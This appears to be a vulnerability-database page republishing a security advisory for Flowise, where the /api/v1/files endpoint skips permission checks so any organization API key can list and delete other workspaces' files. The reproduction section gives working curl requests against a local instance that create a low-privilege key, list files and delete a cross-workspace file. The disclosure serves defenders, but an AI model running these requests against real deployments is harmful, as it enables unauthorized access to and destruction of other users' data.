Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-wp74-f5hh-5f3r

HighCVSS 7.2 / 10
Published Aug 4, 2026·Last modified Aug 4, 2026
Affected Components(0)

No affected components available

Description

summary:

In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.

details:

The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:

  • getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root
  • deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path

As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:

  • called GET /api/v1/files and received 200 OK
  • listed a test file stored under a different workspace, f92a9a4d-392e-4db2-af82-d14e1d553446
  • called DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OK
  • confirmed the file was removed by re-querying the file list

impact:

Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.

reproduction steps:

  1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
curl -i -b tamako.cookie \
  -H 'x-request-from: internal' \
  -H 'Content-Type: application/json' \
  -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
  http://localhost:8080/api/v1/apikey
  1. Record the returned API key. In my local test, the key was:
  • ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E
  1. Prepare a test file under a different workspace within the same organization, for example:
  • f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt
  1. Use the low-privileged API key to list files:
curl -i \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  http://localhost:8080/api/v1/files
  1. Observe a 200 OK response that includes a file from another workspace, for example:
[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
  1. Use the same API key to delete that file:
curl -i -X DELETE --get \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
  http://localhost:8080/api/v1/files
  1. Observe a 200 OK response:
{"message":"file_deleted"}
  1. Call GET /api/v1/files again and confirm that the file is no longer present.
Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
5.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.26%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard